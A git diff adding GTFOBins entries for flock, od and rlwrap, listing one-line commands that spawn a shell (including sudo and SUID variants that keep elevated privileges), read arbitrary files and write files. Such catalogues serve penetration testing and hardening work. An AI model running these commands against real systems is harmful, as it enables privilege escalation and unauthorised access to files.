diff --git a/_gtfobins/flock.md b/_gtfobins/flock.md
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+++ b/_gtfobins/flock.md
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+---
+functions:
+  execute-interactive:
+    - code: flock /tmp /bin/sh
+  sudo-enabled:
+    - code: sudo flock /tmp /bin/sh
+  suid-enabled:
+    - code: ./flock /tmp /bin/sh -p
+---
diff --git a/_gtfobins/od.md b/_gtfobins/od.md
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+---
+description: |
+  Three spaces are added before each character in the read file, and
+  non-printable chars are printed as backslash escape sequences.
+functions:
+  file-read:
+    - code: |
+        LFILE=file_to_read
+        od -An -c -w9999 "$LFILE"
diff --git a/_gtfobins/rlwrap.md b/_gtfobins/rlwrap.md
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+++ b/_gtfobins/rlwrap.md
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+---
+functions:
+  execute-interactive:
+    - code: rlwrap /bin/sh
+  sudo-enabled:
+    - code: sudo rlwrap /bin/sh
+  suid-enabled:
+    - code: ./rlwrap -H /tmp/y /bin/sh -p
+  file-write:
+    - description: This adds timestamps to the output file.
+      code: |
+        LFILE=file_to_write
+        rlwrap -l "$LFILE" echo data
+---